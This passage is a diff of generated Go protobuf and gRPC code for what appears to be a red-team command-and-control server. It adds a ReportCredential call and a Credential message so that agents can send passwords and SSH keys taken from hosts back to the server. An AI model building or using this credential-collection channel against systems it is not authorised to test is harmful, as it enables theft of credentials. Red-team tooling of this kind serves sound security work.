@@ -1063,7 +1169,7 @@ func file_c2_proto_rawDescGZIP() []byte {
 }
 
 var file_c2_proto_enumTypes = make([]protoimpl.EnumInfo, 1)
-var file_c2_proto_msgTypes = make([]protoimpl.MessageInfo, 16)
+var file_c2_proto_msgTypes = make([]protoimpl.MessageInfo, 18)
 var file_c2_proto_goTypes = []interface{}{
 	(Host_Platform)(0),                // 0: c2.Host.Platform
 	(*Agent)(nil),                     // 1: c2.Agent
@@ -1076,45 +1182,51 @@ var file_c2_proto_goTypes = []interface{}{
 	(*ClaimTasksResponse)(nil),        // 8: c2.ClaimTasksResponse
 	(*DownloadFileRequest)(nil),       // 9: c2.DownloadFileRequest
 	(*DownloadFileResponse)(nil),      // 10: c2.DownloadFileResponse
-	(*ReportFileRequest)(nil),         // 11: c2.ReportFileRequest
-	(*ReportFileResponse)(nil),        // 12: c2.ReportFileResponse
-	(*ReportProcessListRequest)(nil),  // 13: c2.ReportProcessListRequest
-	(*ReportProcessListResponse)(nil), // 14: c2.ReportProcessListResponse
-	(*ReportTaskOutputRequest)(nil),   // 15: c2.ReportTaskOutputRequest
-	(*ReportTaskOutputResponse)(nil),  // 16: c2.ReportTaskOutputResponse
-	(*epb.Tome)(nil),                  // 17: eldritch.Tome
-	(*timestamp.Timestamp)(nil),       // 18: google.protobuf.Timestamp
-	(*epb.File)(nil),                  // 19: eldritch.File
-	(*epb.ProcessList)(nil),           // 20: eldritch.ProcessList
+	(*ReportCredentialRequest)(nil),   // 11: c2.ReportCredentialRequest
+	(*ReportCredentialResponse)(nil),  // 12: c2.ReportCredentialResponse
+	(*ReportFileRequest)(nil),         // 13: c2.ReportFileRequest
+	(*ReportFileResponse)(nil),        // 14: c2.ReportFileResponse
+	(*ReportProcessListRequest)(nil),  // 15: c2.ReportProcessListRequest
+	(*ReportProcessListResponse)(nil), // 16: c2.ReportProcessListResponse
+	(*ReportTaskOutputRequest)(nil),   // 17: c2.ReportTaskOutputRequest
+	(*ReportTaskOutputResponse)(nil),  // 18: c2.ReportTaskOutputResponse
+	(*epb.Tome)(nil),                  // 19: eldritch.Tome
+	(*timestamp.Timestamp)(nil),       // 20: google.protobuf.Timestamp
+	(*epb.Credential)(nil),            // 21: eldritch.Credential
+	(*epb.File)(nil),                  // 22: eldritch.File
+	(*epb.ProcessList)(nil),           // 23: eldritch.ProcessList
 }
 var file_c2_proto_depIdxs = []int32{
 	3,  // 0: c2.Beacon.host:type_name -> c2.Host
 	1,  // 1: c2.Beacon.agent:type_name -> c2.Agent
 	0,  // 2: c2.Host.platform:type_name -> c2.Host.Platform
-	17, // 3: c2.Task.tome:type_name -> eldritch.Tome
+	19, // 3: c2.Task.tome:type_name -> eldritch.Tome
 	5,  // 4: c2.TaskOutput.error:type_name -> c2.TaskError
-	18, // 5: c2.TaskOutput.exec_started_at:type_name -> google.protobuf.Timestamp
-	18, // 6: c2.TaskOutput.exec_finished_at:type_name -> google.protobuf.Timestamp
+	20, // 5: c2.TaskOutput.exec_started_at:type_name -> google.protobuf.Timestamp
+	20, // 6: c2.TaskOutput.exec_finished_at:type_name -> google.protobuf.Timestamp
 	2,  // 7: c2.ClaimTasksRequest.beacon:type_name -> c2.Beacon
 	4,  // 8: c2.ClaimTasksResponse.tasks:type_name -> c2.Task
-	19, // 9: c2.ReportFileRequest.chunk:type_name -> eldritch.File
-	20, // 10: c2.ReportProcessListRequest.list:type_name -> eldritch.ProcessList
-	6,  // 11: c2.ReportTaskOutputRequest.output:type_name -> c2.TaskOutput
-	7,  // 12: c2.C2.ClaimTasks:input_type -> c2.ClaimTasksRequest
-	9,  // 13: c2.C2.DownloadFile:input_type -> c2.DownloadFileRequest
-	11, // 14: c2.C2.ReportFile:input_type -> c2.ReportFileRequest
-	13, // 15: c2.C2.ReportProcessList:input_type -> c2.ReportProcessListRequest
-	15, // 16: c2.C2.ReportTaskOutput:input_type -> c2.ReportTaskOutputRequest
-	8,  // 17: c2.C2.ClaimTasks:output_type -> c2.ClaimTasksResponse
-	10, // 18: c2.C2.DownloadFile:output_type -> c2.DownloadFileResponse
-	12, // 19: c2.C2.ReportFile:output_type -> c2.ReportFileResponse
-	14, // 20: c2.C2.ReportProcessList:output_type -> c2.ReportProcessListResponse
-	16, // 21: c2.C2.ReportTaskOutput:output_type -> c2.ReportTaskOutputResponse
-	17, // [17:22] is the sub-list for method output_type
-	12, // [12:17] is the sub-list for method input_type
-	12, // [12:12] is the sub-list for extension type_name
-	12, // [12:12] is the sub-list for extension extendee
-	0,  // [0:12] is the sub-list for field type_name
+	21, // 9: c2.ReportCredentialRequest.credential:type_name -> eldritch.Credential
+	22, // 10: c2.ReportFileRequest.chunk:type_name -> eldritch.File
+	23, // 11: c2.ReportProcessListRequest.list:type_name -> eldritch.ProcessList
+	6,  // 12: c2.ReportTaskOutputRequest.output:type_name -> c2.TaskOutput
+	7,  // 13: c2.C2.ClaimTasks:input_type -> c2.ClaimTasksRequest
+	9,  // 14: c2.C2.DownloadFile:input_type -> c2.DownloadFileRequest
+	11, // 15: c2.C2.ReportCredential:input_type -> c2.ReportCredentialRequest
+	13, // 16: c2.C2.ReportFile:input_type -> c2.ReportFileRequest
+	15, // 17: c2.C2.ReportProcessList:input_type -> c2.ReportProcessListRequest
+	17, // 18: c2.C2.ReportTaskOutput:input_type -> c2.ReportTaskOutputRequest
+	8,  // 19: c2.C2.ClaimTasks:output_type -> c2.ClaimTasksResponse
+	10, // 20: c2.C2.DownloadFile:output_type -> c2.DownloadFileResponse
+	12, // 21: c2.C2.ReportCredential:output_type -> c2.ReportCredentialResponse
+	14, // 22: c2.C2.ReportFile:output_type -> c2.ReportFileResponse
+	16, // 23: c2.C2.ReportProcessList:output_type -> c2.ReportProcessListResponse
+	18, // 24: c2.C2.ReportTaskOutput:output_type -> c2.ReportTaskOutputResponse
+	19, // [19:25] is the sub-list for method output_type
+	13, // [13:19] is the sub-list for method input_type
+	13, // [13:13] is the sub-list for extension type_name
+	13, // [13:13] is the sub-list for extension extendee
+	0,  // [0:13] is the sub-list for field type_name
 }
 
 func init() { file_c2_proto_init() }
@@ -1244,7 +1356,7 @@ func file_c2_proto_init() {
 			}
 		}
 		file_c2_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} {
-			switch v := v.(*ReportFileRequest); i {
+			switch v := v.(*ReportCredentialRequest); i {
 			case 0:
 				return &v.state
 			case 1:
@@ -1256,7 +1368,7 @@ func file_c2_proto_init() {
 			}
 		}
 		file_c2_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} {
-			switch v := v.(*ReportFileResponse); i {
+			switch v := v.(*ReportCredentialResponse); i {
 			case 0:
 				return &v.state
 			case 1:
@@ -1268,7 +1380,7 @@ func file_c2_proto_init() {
 			}
 		}
 		file_c2_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} {
-			switch v := v.(*ReportProcessListRequest); i {
+			switch v := v.(*ReportFileRequest); i {
 			case 0:
 				return &v.state
 			case 1:
@@ -1280,7 +1392,7 @@ func file_c2_proto_init() {
 			}
 		}
 		file_c2_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} {
-			switch v := v.(*ReportProcessListResponse); i {
+			switch v := v.(*ReportFileResponse); i {
 			case 0:
 				return &v.state
 			case 1:
@@ -1292,7 +1404,7 @@ func file_c2_proto_init() {
 			}
 		}
 		file_c2_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} {
-			switch v := v.(*ReportTaskOutputRequest); i {
+			switch v := v.(*ReportProcessListRequest); i {
 			case 0:
 				return &v.state
 			case 1:
@@ -1304,6 +1416,30 @@ func file_c2_proto_init() {
 			}
 		}
 		file_c2_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*ReportProcessListResponse); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_c2_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*ReportTaskOutputRequest); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_c2_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} {
 			switch v := v.(*ReportTaskOutputResponse); i {
 			case 0:
 				return &v.state
@@ -1322,7 +1458,7 @@ func file_c2_proto_init() {
 			GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
 			RawDescriptor: file_c2_proto_rawDesc,
 			NumEnums:      1,
-			NumMessages:   16,
+			NumMessages:   18,
 			NumExtensions: 0,
 			NumServices:   1,
 		},
diff --git a/tavern/internal/c2/c2pb/c2_grpc.pb.go b/tavern/internal/c2/c2pb/c2_grpc.pb.go
index 2595b7562..361413d85 100644
--- a/tavern/internal/c2/c2pb/c2_grpc.pb.go
+++ b/tavern/internal/c2/c2pb/c2_grpc.pb.go
@@ -32,6 +32,8 @@ type C2Client interface {
 	//
 	// If no associated file can be found, a NotFound status error is returned.
 	DownloadFile(ctx context.Context, in *DownloadFileRequest, opts ...grpc.CallOption) (C2_DownloadFileClient, error)
+	// Report a credential from the host to the server.
+	ReportCredential(ctx context.Context, in *ReportCredentialRequest, opts ...grpc.CallOption) (*ReportCredentialResponse, error)
 	// Report a file from the host to the server.
 	// Providing content of the file is optional. If content is provided:
 	//   - Hash will automatically be calculated and the provided hash will be ignored.
@@ -96,6 +98,15 @@ func (x *c2DownloadFileClient) Recv() (*DownloadFileResponse, error) {
 	return m, nil
 }
 
+func (c *c2Client) ReportCredential(ctx context.Context, in *ReportCredentialRequest, opts ...grpc.CallOption) (*ReportCredentialResponse, error) {
+	out := new(ReportCredentialResponse)
+	err := c.cc.Invoke(ctx, "/c2.C2/ReportCredential", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
 func (c *c2Client) ReportFile(ctx context.Context, opts ...grpc.CallOption) (C2_ReportFileClient, error) {
 	stream, err := c.cc.NewStream(ctx, &C2_ServiceDesc.Streams[1], "/c2.C2/ReportFile", opts...)
 	if err != nil {
@@ -162,6 +173,8 @@ type C2Server interface {
 	//
 	// If no associated file can be found, a NotFound status error is returned.
 	DownloadFile(*DownloadFileRequest, C2_DownloadFileServer) error
+	// Report a credential from the host to the server.
+	ReportCredential(context.Context, *ReportCredentialRequest) (*ReportCredentialResponse, error)
 	// Report a file from the host to the server.
 	// Providing content of the file is optional. If content is provided:
 	//   - Hash will automatically be calculated and the provided hash will be ignored.
@@ -188,6 +201,9 @@ func (UnimplementedC2Server) ClaimTasks(context.Context, *ClaimTasksRequest) (*C
 func (UnimplementedC2Server) DownloadFile(*DownloadFileRequest, C2_DownloadFileServer) error {
 	return status.Errorf(codes.Unimplemented, "method DownloadFile not implemented")
 }
+func (UnimplementedC2Server) ReportCredential(context.Context, *ReportCredentialRequest) (*ReportCredentialResponse, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method ReportCredential not implemented")
+}
 func (UnimplementedC2Server) ReportFile(C2_ReportFileServer) error {
 	return status.Errorf(codes.Unimplemented, "method ReportFile not implemented")
 }
@@ -249,6 +265,24 @@ func (x *c2DownloadFileServer) Send(m *DownloadFileResponse) error {
 	return x.ServerStream.SendMsg(m)
 }
 
+func _C2_ReportCredential_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(ReportCredentialRequest)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(C2Server).ReportCredential(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/c2.C2/ReportCredential",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(C2Server).ReportCredential(ctx, req.(*ReportCredentialRequest))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
 func _C2_ReportFile_Handler(srv interface{}, stream grpc.ServerStream) error {
 	return srv.(C2Server).ReportFile(&c2ReportFileServer{stream})
 }
@@ -322,6 +356,10 @@ var C2_ServiceDesc = grpc.ServiceDesc{
 			MethodName: "ClaimTasks",
 			Handler:    _C2_ClaimTasks_Handler,
 		},
+		{
+			MethodName: "ReportCredential",
+			Handler:    _C2_ReportCredential_Handler,
+		},
 		{
 			MethodName: "ReportProcessList",
 			Handler:    _C2_ReportProcessList_Handler,
diff --git a/tavern/internal/c2/epb/eldritch.pb.go b/tavern/internal/c2/epb/eldritch.pb.go
index 709cff9e0..0a0acecab 100644
--- a/tavern/internal/c2/epb/eldritch.pb.go
+++ b/tavern/internal/c2/epb/eldritch.pb.go
@@ -20,6 +20,55 @@ const (
 	_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
 )
 
+type Credential_Kind int32
+
+const (
+	Credential_KIND_UNSPECIFIED Credential_Kind = 0
+	Credential_KIND_PASSWORD    Credential_Kind = 1
+	Credential_KIND_SSH_KEY     Credential_Kind = 2
+)
+
+// Enum value maps for Credential_Kind.
+var (
+	Credential_Kind_name = map[int32]string{
+		0: "KIND_UNSPECIFIED",
+		1: "KIND_PASSWORD",
+		2: "KIND_SSH_KEY",
+	}
+	Credential_Kind_value = map[string]int32{
+		"KIND_UNSPECIFIED": 0,
+		"KIND_PASSWORD":    1,
+		"KIND_SSH_KEY":     2,
+	}
+)
+
+func (x Credential_Kind) Enum() *Credential_Kind {
+	p := new(Credential_Kind)
+	*p = x
+	return p
+}
+
+func (x Credential_Kind) String() string {
+	return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))
+}
+
+func (Credential_Kind) Descriptor() protoreflect.EnumDescriptor {
+	return file_eldritch_proto_enumTypes[0].Descriptor()
+}
+
+func (Credential_Kind) Type() protoreflect.EnumType {
+	return &file_eldritch_proto_enumTypes[0]
+}
+
+func (x Credential_Kind) Number() protoreflect.EnumNumber {
+	return protoreflect.EnumNumber(x)
+}
+
+// Deprecated: Use Credential_Kind.Descriptor instead.
+func (Credential_Kind) EnumDescriptor() ([]byte, []int) {
+	return file_eldritch_proto_rawDescGZIP(), []int{1, 0}
+}
+
 type Process_Status int32
 
 const (
@@ -86,11 +135,11 @@ func (x Process_Status) String() string {
 }
 
 func (Process_Status) Descriptor() protoreflect.EnumDescriptor {
-	return file_eldritch_proto_enumTypes[0].Descriptor()
+	return file_eldritch_proto_enumTypes[1].Descriptor()
 }
 
 func (Process_Status) Type() protoreflect.EnumType {
-	return &file_eldritch_proto_enumTypes[0]
+	return &file_eldritch_proto_enumTypes[1]
 }
 
 func (x Process_Status) Number() protoreflect.EnumNumber {
@@ -99,7 +148,7 @@ func (x Process_Status) Number() protoreflect.EnumNumber {
 
 // Deprecated: Use Process_Status.Descriptor instead.
 func (Process_Status) EnumDescriptor() ([]byte, []int) {
-	return file_eldritch_proto_rawDescGZIP(), []int{1, 0}
+	return file_eldritch_proto_rawDescGZIP(), []int{2, 0}
 }
 
 // Tome for eldritch to execute.
@@ -166,6 +215,70 @@ func (x *Tome) GetFileNames() []string {
 	return nil
 }
 
+// Credential reported on the host system.
+type Credential struct {
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Principal string          `protobuf:"bytes,1,opt,name=principal,proto3" json:"principal,omitempty"`
+	Secret    string          `protobuf:"bytes,2,opt,name=secret,proto3" json:"secret,omitempty"`
+	Kind      Credential_Kind `protobuf:"varint,3,opt,name=kind,proto3,enum=eldritch.Credential_Kind" json:"kind,omitempty"`
+}
+
+func (x *Credential) Reset() {
+	*x = Credential{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_eldritch_proto_msgTypes[1]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *Credential) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*Credential) ProtoMessage() {}
+
+func (x *Credential) ProtoReflect() protoreflect.Message {
+	mi := &file_eldritch_proto_msgTypes[1]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use Credential.ProtoReflect.Descriptor instead.
+func (*Credential) Descriptor() ([]byte, []int) {
+	return file_eldritch_proto_rawDescGZIP(), []int{1}
+}
+
+func (x *Credential) GetPrincipal() string {
+	if x != nil {
+		return x.Principal
+	}
+	return ""
+}
+
+func (x *Credential) GetSecret() string {
+	if x != nil {
+		return x.Secret
+	}
+	return ""
+}
+
+func (x *Credential) GetKind() Credential_Kind {
+	if x != nil {
+		return x.Kind
+	}
+	return Credential_KIND_UNSPECIFIED
+}
+
 // Process running on the host system.
 type Process struct {
 	state         protoimpl.MessageState
@@ -186,7 +299,7 @@ type Process struct {
 func (x *Process) Reset() {
 	*x = Process{}
 	if protoimpl.UnsafeEnabled {
-		mi := &file_eldritch_proto_msgTypes[1]
+		mi := &file_eldritch_proto_msgTypes[2]
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		ms.StoreMessageInfo(mi)
 	}
@@ -199,7 +312,7 @@ func (x *Process) String() string {
 func (*Process) ProtoMessage() {}
 
 func (x *Process) ProtoReflect() protoreflect.Message {
-	mi := &file_eldritch_proto_msgTypes[1]
+	mi := &file_eldritch_proto_msgTypes[2]
 	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
@@ -212,7 +325,7 @@ func (x *Process) ProtoReflect() protoreflect.Message {
 
 // Deprecated: Use Process.ProtoReflect.Descriptor instead.
 func (*Process) Descriptor() ([]byte, []int) {
-	return file_eldritch_proto_rawDescGZIP(), []int{1}
+	return file_eldritch_proto_rawDescGZIP(), []int{2}
 }
 
 func (x *Process) GetPid() uint64 {
@@ -290,7 +403,7 @@ type ProcessList struct {
 func (x *ProcessList) Reset() {
 	*x = ProcessList{}
 	if protoimpl.UnsafeEnabled {
-		mi := &file_eldritch_proto_msgTypes[2]
+		mi := &file_eldritch_proto_msgTypes[3]
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		ms.StoreMessageInfo(mi)
 	}
@@ -303,7 +416,7 @@ func (x *ProcessList) String() string {
 func (*ProcessList) ProtoMessage() {}
 
 func (x *ProcessList) ProtoReflect() protoreflect.Message {
-	mi := &file_eldritch_proto_msgTypes[2]
+	mi := &file_eldritch_proto_msgTypes[3]
 	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
@@ -316,7 +429,7 @@ func (x *ProcessList) ProtoReflect() protoreflect.Message {
 
 // Deprecated: Use ProcessList.ProtoReflect.Descriptor instead.
 func (*ProcessList) Descriptor() ([]byte, []int) {
-	return file_eldritch_proto_rawDescGZIP(), []int{2}
+	return file_eldritch_proto_rawDescGZIP(), []int{3}
 }
 
 func (x *ProcessList) GetList() []*Process {
@@ -336,7 +449,7 @@ type File struct {
 	Owner        string `protobuf:"bytes,2,opt,name=owner,proto3" json:"owner,omitempty"`
 	Group        string `protobuf:"bytes,3,opt,name=group,proto3" json:"group,omitempty"`
 	Permissions  string `protobuf:"bytes,4,opt,name=permissions,proto3" json:"permissions,omitempty"`
-	Size         int64  `protobuf:"varint,5,opt,name=size,proto3" json:"size,omitempty"`
+	Size         uint64 `protobuf:"varint,5,opt,name=size,proto3" json:"size,omitempty"`
 	Sha3_256Hash string `protobuf:"bytes,6,opt,name=sha3_256_hash,json=sha3256Hash,proto3" json:"sha3_256_hash,omitempty"`
 	Chunk        []byte `protobuf:"bytes,7,opt,name=chunk,proto3" json:"chunk,omitempty"`
 }
@@ -344,7 +457,7 @@ type File struct {
 func (x *File) Reset() {
 	*x = File{}
 	if protoimpl.UnsafeEnabled {
-		mi := &file_eldritch_proto_msgTypes[3]
+		mi := &file_eldritch_proto_msgTypes[4]
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		ms.StoreMessageInfo(mi)
 	}
@@ -357,7 +470,7 @@ func (x *File) String() string {
 func (*File) ProtoMessage() {}
 
 func (x *File) ProtoReflect() protoreflect.Message {
-	mi := &file_eldritch_proto_msgTypes[3]
+	mi := &file_eldritch_proto_msgTypes[4]
 	if protoimpl.UnsafeEnabled && x != nil {
 		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
 		if ms.LoadMessageInfo() == nil {
@@ -370,7 +483,7 @@ func (x *File) ProtoReflect() protoreflect.Message {
 
 // Deprecated: Use File.ProtoReflect.Descriptor instead.
 func (*File) Descriptor() ([]byte, []int) {
-	return file_eldritch_proto_rawDescGZIP(), []int{3}
+	return file_eldritch_proto_rawDescGZIP(), []int{4}
 }
 
 func (x *File) GetPath() string {
@@ -401,7 +514,7 @@ func (x *File) GetPermissions() string {
 	return ""
 }
 
-func (x *File) GetSize() int64 {
+func (x *File) GetSize() uint64 {
 	if x != nil {
 		return x.Size
 	}
@@ -438,58 +551,69 @@ var file_eldritch_proto_rawDesc = []byte{
 	0x0a, 0x0f, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72,
 	0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03,
 	0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01,
-	0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x8b, 0x04,
-	0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x70, 0x69, 0x64,
-	0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x03, 0x70, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70,
-	0x70, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x70, 0x70, 0x69, 0x64, 0x12,
-	0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e,
-	0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x70, 0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c,
-	0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x70, 0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61,
-	0x6c, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52,
-	0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x10, 0x0a, 0x03, 0x63, 0x6d, 0x64, 0x18, 0x06, 0x20, 0x01,
-	0x28, 0x09, 0x52, 0x03, 0x63, 0x6d, 0x64, 0x12, 0x10, 0x0a, 0x03, 0x65, 0x6e, 0x76, 0x18, 0x07,
-	0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x65, 0x6e, 0x76, 0x12, 0x10, 0x0a, 0x03, 0x63, 0x77, 0x64,
-	0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x63, 0x77, 0x64, 0x12, 0x30, 0x0a, 0x06, 0x73,
-	0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x18, 0x2e, 0x65, 0x6c,
-	0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x2e, 0x53,
-	0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x22, 0xab, 0x02,
-	0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x16, 0x0a, 0x12, 0x53, 0x54, 0x41, 0x54,
-	0x55, 0x53, 0x5f, 0x55, 0x4e, 0x53, 0x50, 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, 0x44, 0x10, 0x00,
-	0x12, 0x12, 0x0a, 0x0e, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x55, 0x4e, 0x4b, 0x4e, 0x4f,
-	0x57, 0x4e, 0x10, 0x01, 0x12, 0x0f, 0x0a, 0x0b, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x49,
-	0x44, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f,
-	0x52, 0x55, 0x4e, 0x10, 0x03, 0x12, 0x10, 0x0a, 0x0c, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f,
-	0x53, 0x4c, 0x45, 0x45, 0x50, 0x10, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x53, 0x54, 0x41, 0x54, 0x55,
-	0x53, 0x5f, 0x53, 0x54, 0x4f, 0x50, 0x10, 0x05, 0x12, 0x11, 0x0a, 0x0d, 0x53, 0x54, 0x41, 0x54,
-	0x55, 0x53, 0x5f, 0x5a, 0x4f, 0x4d, 0x42, 0x49, 0x45, 0x10, 0x06, 0x12, 0x12, 0x0a, 0x0e, 0x53,
-	0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x54, 0x52, 0x41, 0x43, 0x49, 0x4e, 0x47, 0x10, 0x07, 0x12,
-	0x0f, 0x0a, 0x0b, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x44, 0x45, 0x41, 0x44, 0x10, 0x08,
-	0x12, 0x14, 0x0a, 0x10, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x57, 0x41, 0x4b, 0x45, 0x5f,
-	0x4b, 0x49, 0x4c, 0x4c, 0x10, 0x09, 0x12, 0x11, 0x0a, 0x0d, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53,
-	0x5f, 0x57, 0x41, 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x0a, 0x12, 0x11, 0x0a, 0x0d, 0x53, 0x54, 0x41,
-	0x54, 0x55, 0x53, 0x5f, 0x50, 0x41, 0x52, 0x4b, 0x45, 0x44, 0x10, 0x0b, 0x12, 0x17, 0x0a, 0x13,
-	0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x4c, 0x4f, 0x43, 0x4b, 0x5f, 0x42, 0x4c, 0x4f, 0x43,
-	0x4b, 0x45, 0x44, 0x10, 0x0c, 0x12, 0x24, 0x0a, 0x20, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f,
-	0x55, 0x4e, 0x49, 0x4e, 0x54, 0x45, 0x52, 0x55, 0x50, 0x54, 0x49, 0x42, 0x4c, 0x45, 0x5f, 0x44,
-	0x49, 0x53, 0x4b, 0x5f, 0x53, 0x4c, 0x45, 0x45, 0x50, 0x10, 0x0d, 0x22, 0x34, 0x0a, 0x0b, 0x50,
-	0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x25, 0x0a, 0x04, 0x6c, 0x69,
-	0x73, 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69,
-	0x74, 0x63, 0x68, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, 0x04, 0x6c, 0x69, 0x73,
-	0x74, 0x22, 0xb6, 0x01, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61,
-	0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x14,
-	0x0a, 0x05, 0x6f, 0x77, 0x6e, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x6f,
-	0x77, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x18, 0x03, 0x20,
-	0x01, 0x28, 0x09, 0x52, 0x05, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x65,
-	0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
-	0x0b, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x12, 0x0a, 0x04,
-	0x73, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x04, 0x73, 0x69, 0x7a, 0x65,
-	0x12, 0x22, 0x0a, 0x0d, 0x73, 0x68, 0x61, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x5f, 0x68, 0x61, 0x73,
-	0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x73, 0x68, 0x61, 0x33, 0x32, 0x35, 0x36,
